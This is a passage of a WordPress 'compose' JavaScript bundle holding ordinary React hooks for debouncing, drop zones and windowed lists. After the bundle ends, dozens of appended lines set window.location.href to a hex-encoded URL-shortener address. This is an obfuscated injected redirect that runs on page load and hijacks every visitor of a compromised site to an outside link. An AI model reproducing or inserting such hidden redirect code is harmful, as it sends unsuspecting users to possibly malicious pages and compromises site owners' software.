4118 (0,external_wp_element_namespaceObject.flushSync)(() => {
4119 setCurrent((state) => [
4120 ...state,
4121 ...list.slice(i, i + step)
4122 ]);
4123 });
4124 });
4125 }
4126 return () => asyncQueue.reset();
4127 }, [list]);
4128 return current;
4129}
4130var use_async_list_default = useAsyncList;
4131
4132
4133;// ./node_modules/@wordpress/compose/build-module/hooks/use-warn-on-change/index.js
4134
4135function useWarnOnChange(object, prefix = "Change detection") {
4136 const previousValues = usePrevious(object);
4137 Object.entries(previousValues ?? []).forEach(([key, value]) => {
4138 if (value !== object[
4139 /** @type {keyof typeof object} */
4140 key
4141 ]) {
4142 console.warn(
4143 `${prefix}: ${key} key changed:`,
4144 value,
4145 object[
4146 /** @type {keyof typeof object} */
4147 key
4148 ]
4149 /* eslint-enable jsdoc/check-types */
4150 );
4151 }
4152 });
4153}
4154var use_warn_on_change_default = useWarnOnChange;
4155
4156
4157;// external "React"
4158const external_React_namespaceObject = window["React"];
4159;// ./node_modules/use-memo-one/dist/use-memo-one.esm.js
4160
4161
4162function areInputsEqual(newInputs, lastInputs) {
4163 if (newInputs.length !== lastInputs.length) {
4164 return false;
4165 }
4166
4167 for (var i = 0; i < newInputs.length; i++) {
4168 if (newInputs[i] !== lastInputs[i]) {
4169 return false;
4170 }
4171 }
4172
4173 return true;
4174}
4175
4176function useMemoOne(getResult, inputs) {
4177 var initial = (0,external_React_namespaceObject.useState)(function () {
4178 return {
4179 inputs: inputs,
4180 result: getResult()
4181 };
4182 })[0];
4183 var isFirstRun = (0,external_React_namespaceObject.useRef)(true);
4184 var committed = (0,external_React_namespaceObject.useRef)(initial);
4185 var useCache = isFirstRun.current || Boolean(inputs && committed.current.inputs && areInputsEqual(inputs, committed.current.inputs));
4186 var cache = useCache ? committed.current : {
4187 inputs: inputs,
4188 result: getResult()
4189 };
4190 (0,external_React_namespaceObject.useEffect)(function () {
4191 isFirstRun.current = false;
4192 committed.current = cache;
4193 }, [cache]);
4194 return cache.result;
4195}
4196function useCallbackOne(callback, inputs) {
4197 return useMemoOne(function () {
4198 return callback;
4199 }, inputs);
4200}
4201var useMemo = (/* unused pure expression or super */ null && (useMemoOne));
4202var useCallback = (/* unused pure expression or super */ null && (useCallbackOne));
4203
4204
4205
4206;// ./node_modules/@wordpress/compose/build-module/hooks/use-debounce/index.js
4207
4208
4209
4210function useDebounce(fn, wait, options) {
4211 const debounced = useMemoOne(
4212 () => debounce(fn, wait ?? 0, options),
4213 [fn, wait, options?.leading, options?.trailing, options?.maxWait]
4214 );
4215 (0,external_wp_element_namespaceObject.useEffect)(() => () => debounced.cancel(), [debounced]);
4216 return debounced;
4217}
4218
4219
4220;// ./node_modules/@wordpress/compose/build-module/hooks/use-debounced-input/index.js
4221
4222
4223function useDebouncedInput(defaultValue = "") {
4224 const [input, setInput] = (0,external_wp_element_namespaceObject.useState)(defaultValue);
4225 const [debouncedInput, setDebouncedState] = (0,external_wp_element_namespaceObject.useState)(defaultValue);
4226 const setDebouncedInput = useDebounce(setDebouncedState, 250);
4227 (0,external_wp_element_namespaceObject.useEffect)(() => {
4228 setDebouncedInput(input);
4229 }, [input, setDebouncedInput]);
4230 return [input, setInput, debouncedInput];
4231}
4232
4233
4234;// ./node_modules/@wordpress/compose/build-module/hooks/use-throttle/index.js
4235
4236
4237
4238function useThrottle(fn, wait, options) {
4239 const throttled = useMemoOne(
4240 () => throttle(fn, wait ?? 0, options),
4241 [fn, wait, options]
4242 );
4243 (0,external_wp_element_namespaceObject.useEffect)(() => () => throttled.cancel(), [throttled]);
4244 return throttled;
4245}
4246
4247
4248;// ./node_modules/@wordpress/compose/build-module/hooks/use-drop-zone/index.js
4249
4250
4251function useDropZone({
4252 dropZoneElement,
4253 isDisabled,
4254 onDrop: _onDrop,
4255 onDragStart: _onDragStart,
4256 onDragEnter: _onDragEnter,
4257 onDragLeave: _onDragLeave,
4258 onDragEnd: _onDragEnd,
4259 onDragOver: _onDragOver
4260}) {
4261 const onDropEvent = useEvent(_onDrop);
4262 const onDragStartEvent = useEvent(_onDragStart);
4263 const onDragEnterEvent = useEvent(_onDragEnter);
4264 const onDragLeaveEvent = useEvent(_onDragLeave);
4265 const onDragEndEvent = useEvent(_onDragEnd);
4266 const onDragOverEvent = useEvent(_onDragOver);
4267 return useRefEffect(
4268 (elem) => {
4269 if (isDisabled) {
4270 return;
4271 }
4272 const element = dropZoneElement ?? elem;
4273 let isDragging = false;
4274 const { ownerDocument } = element;
4275 function isElementInZone(targetToCheck) {
4276 const { defaultView } = ownerDocument;
4277 if (!targetToCheck || !defaultView || !(targetToCheck instanceof defaultView.HTMLElement) || !element.contains(targetToCheck)) {
4278 return false;
4279 }
4280 let elementToCheck = targetToCheck;
4281 do {
4282 if (elementToCheck.dataset.isDropZone) {
4283 return elementToCheck === element;
4284 }
4285 } while (elementToCheck = elementToCheck.parentElement);
4286 return false;
4287 }
4288 function maybeDragStart(event) {
4289 if (isDragging) {
4290 return;
4291 }
4292 isDragging = true;
4293 ownerDocument.addEventListener("dragend", maybeDragEnd);
4294 ownerDocument.addEventListener("mousemove", maybeDragEnd);
4295 if (_onDragStart) {
4296 onDragStartEvent(event);
4297 }
4298 }
4299 function onDragEnter(event) {
4300 event.preventDefault();
4301 if (element.contains(
4302 /** @type {Node} */
4303 event.relatedTarget
4304 )) {
4305 return;
4306 }
4307 if (_onDragEnter) {
4308 onDragEnterEvent(event);
4309 }
4310 }
4311 function onDragOver(event) {
4312 if (!event.defaultPrevented && _onDragOver) {
4313 onDragOverEvent(event);
4314 }
4315 event.preventDefault();
4316 }
4317 function onDragLeave(event) {
4318 if (isElementInZone(event.relatedTarget)) {
4319 return;
4320 }
4321 if (_onDragLeave) {
4322 onDragLeaveEvent(event);
4323 }
4324 }
4325 function onDrop(event) {
4326 if (event.defaultPrevented) {
4327 return;
4328 }
4329 event.preventDefault();
4330 event.dataTransfer && event.dataTransfer.files.length;
4331 if (_onDrop) {
4332 onDropEvent(event);
4333 }
4334 maybeDragEnd(event);
4335 }
4336 function maybeDragEnd(event) {
4337 if (!isDragging) {
4338 return;
4339 }
4340 isDragging = false;
4341 ownerDocument.removeEventListener("dragend", maybeDragEnd);
4342 ownerDocument.removeEventListener("mousemove", maybeDragEnd);
4343 if (_onDragEnd) {
4344 onDragEndEvent(event);
4345 }
4346 }
4347 element.setAttribute("data-is-drop-zone", "true");
4348 element.addEventListener("drop", onDrop);
4349 element.addEventListener("dragenter", onDragEnter);
4350 element.addEventListener("dragover", onDragOver);
4351 element.addEventListener("dragleave", onDragLeave);
4352 ownerDocument.addEventListener("dragenter", maybeDragStart);
4353 return () => {
4354 element.removeAttribute("data-is-drop-zone");
4355 element.removeEventListener("drop", onDrop);
4356 element.removeEventListener("dragenter", onDragEnter);
4357 element.removeEventListener("dragover", onDragOver);
4358 element.removeEventListener("dragleave", onDragLeave);
4359 ownerDocument.removeEventListener("dragend", maybeDragEnd);
4360 ownerDocument.removeEventListener("mousemove", maybeDragEnd);
4361 ownerDocument.removeEventListener(
4362 "dragenter",
4363 maybeDragStart
4364 );
4365 };
4366 },
4367 [isDisabled, dropZoneElement]
4368 // Refresh when the passed in dropZoneElement changes.
4369 );
4370}
4371
4372
4373;// ./node_modules/@wordpress/compose/build-module/hooks/use-focusable-iframe/index.js
4374
4375function useFocusableIframe() {
4376 return useRefEffect((element) => {
4377 const { ownerDocument } = element;
4378 if (!ownerDocument) {
4379 return;
4380 }
4381 const { defaultView } = ownerDocument;
4382 if (!defaultView) {
4383 return;
4384 }
4385 function checkFocus() {
4386 if (ownerDocument && ownerDocument.activeElement === element) {
4387 element.focus();
4388 }
4389 }
4390 defaultView.addEventListener("blur", checkFocus);
4391 return () => {
4392 defaultView.removeEventListener("blur", checkFocus);
4393 };
4394 }, []);
4395}
4396
4397
4398;// ./node_modules/@wordpress/compose/build-module/hooks/use-fixed-window-list/index.js
4399
4400
4401
4402
4403const DEFAULT_INIT_WINDOW_SIZE = 30;
4404function useFixedWindowList(elementRef, itemHeight, totalItems, options) {
4405 const initWindowSize = options?.initWindowSize ?? DEFAULT_INIT_WINDOW_SIZE;
4406 const useWindowing = options?.useWindowing ?? true;
4407 const [fixedListWindow, setFixedListWindow] = (0,external_wp_element_namespaceObject.useState)({
4408 visibleItems: initWindowSize,
4409 start: 0,
4410 end: initWindowSize,
4411 itemInView: (index) => {
4412 return index >= 0 && index <= initWindowSize;
4413 }
4414 });
4415 (0,external_wp_element_namespaceObject.useLayoutEffect)(() => {
4416 if (!useWindowing) {
4417 return;
4418 }
4419 const scrollContainer = (0,external_wp_dom_namespaceObject.getScrollContainer)(elementRef.current);
4420 const measureWindow = (initRender) => {
4421 if (!scrollContainer) {
4422 return;
4423 }
4424 const visibleItems = Math.ceil(
4425 scrollContainer.clientHeight / itemHeight
4426 );
4427 const windowOverscan = initRender ? visibleItems : options?.windowOverscan ?? visibleItems;
4428 const firstViewableIndex = Math.floor(
4429 scrollContainer.scrollTop / itemHeight
4430 );
4431 const start = Math.max(0, firstViewableIndex - windowOverscan);
4432 const end = Math.min(
4433 totalItems - 1,
4434 firstViewableIndex + visibleItems + windowOverscan
4435 );
4436 setFixedListWindow((lastWindow) => {
4437 const nextWindow = {
4438 visibleItems,
4439 start,
4440 end,
4441 itemInView: (index) => {
4442 return start <= index && index <= end;
4443 }
4444 };
4445 if (lastWindow.start !== nextWindow.start || lastWindow.end !== nextWindow.end || lastWindow.visibleItems !== nextWindow.visibleItems) {
4446 return nextWindow;
4447 }
4448 return lastWindow;
4449 });
4450 };
4451 measureWindow(true);
4452 const debounceMeasureList = debounce(() => {
4453 measureWindow();
4454 }, 16);
4455 scrollContainer?.addEventListener("scroll", debounceMeasureList);
4456 scrollContainer?.ownerDocument?.defaultView?.addEventListener(
4457 "resize",
4458 debounceMeasureList
4459 );
4460 scrollContainer?.ownerDocument?.defaultView?.addEventListener(
4461 "resize",
4462 debounceMeasureList
4463 );
4464 return () => {
4465 scrollContainer?.removeEventListener(
4466 "scroll",
4467 debounceMeasureList
4468 );
4469 scrollContainer?.ownerDocument?.defaultView?.removeEventListener(
4470 "resize",
4471 debounceMeasureList
4472 );
4473 };
4474 }, [
4475 itemHeight,
4476 elementRef,
4477 totalItems,
4478 options?.expandedState,
4479 options?.windowOverscan,
4480 useWindowing
4481 ]);
4482 (0,external_wp_element_namespaceObject.useLayoutEffect)(() => {
4483 if (!useWindowing) {
4484 return;
4485 }
4486 const scrollContainer = (0,external_wp_dom_namespaceObject.getScrollContainer)(elementRef.current);
4487 const handleKeyDown = (event) => {
4488 switch (event.keyCode) {
4489 case external_wp_keycodes_namespaceObject.HOME: {
4490 return scrollContainer?.scrollTo({ top: 0 });
4491 }
4492 case external_wp_keycodes_namespaceObject.END: {
4493 return scrollContainer?.scrollTo({
4494 top: totalItems * itemHeight
4495 });
4496 }
4497 case external_wp_keycodes_namespaceObject.PAGEUP: {
4498 return scrollContainer?.scrollTo({
4499 top: scrollContainer.scrollTop - fixedListWindow.visibleItems * itemHeight
4500 });
4501 }
4502 case external_wp_keycodes_namespaceObject.PAGEDOWN: {
4503 return scrollContainer?.scrollTo({
4504 top: scrollContainer.scrollTop + fixedListWindow.visibleItems * itemHeight
4505 });
4506 }
4507 }
4508 };
4509 scrollContainer?.ownerDocument?.defaultView?.addEventListener(
4510 "keydown",
4511 handleKeyDown
4512 );
4513 return () => {
4514 scrollContainer?.ownerDocument?.defaultView?.removeEventListener(
4515 "keydown",
4516 handleKeyDown
4517 );
4518 };
4519 }, [
4520 totalItems,
4521 itemHeight,
4522 elementRef,
4523 fixedListWindow.visibleItems,
4524 useWindowing,
4525 options?.expandedState
4526 ]);
4527 return [fixedListWindow, setFixedListWindow];
4528}
4529
4530
4531;// ./node_modules/@wordpress/compose/build-module/hooks/use-observable-value/index.js
4532
4533function useObservableValue(map, name) {
4534 const [subscribe, getValue] = (0,external_wp_element_namespaceObject.useMemo)(
4535 () => [
4536 (listener) => map.subscribe(name, listener),
4537 () => map.get(name)
4538 ],
4539 [map, name]
4540 );
4541 return (0,external_wp_element_namespaceObject.useSyncExternalStore)(subscribe, getValue, getValue);
4542}
4543
4544
4545;// ./node_modules/@wordpress/compose/build-module/index.js
4546
4547
4548
4549
4550
4551
4552
4553
4554
4555
4556
4557
4558
4559
4560
4561
4562
4563
4564
4565
4566
4567
4568
4569
4570
4571
4572
4573
4574
4575
4576
4577
4578
4579
4580
4581
4582
4583
4584
4585
4586
4587
4588
4589
4590})();
4591
4592(window.wp = window.wp || {}).compose = __webpack_exports__;
4593/******/ })()
4594;
4595window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
4596window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
4597window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
4598window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
4599window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
4600window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
4601window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
4602window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
4603window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
4604window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
4605window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
4606window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
4607window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
4608window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
4609window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
4610window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
4611window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
4612window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
4613window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
4614window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
4615window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
4616window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
4617window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
4618window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
4619window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
4620window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
4621window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
4622window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
4623window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
4624window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
4625window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
4626window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
4627window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
4628window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
4629window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
4630window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
4631window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
4632window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
4633window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
4634window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
4635window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
4636window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
4637window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
4638window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
4639window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
4640window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
4641window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
4642window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";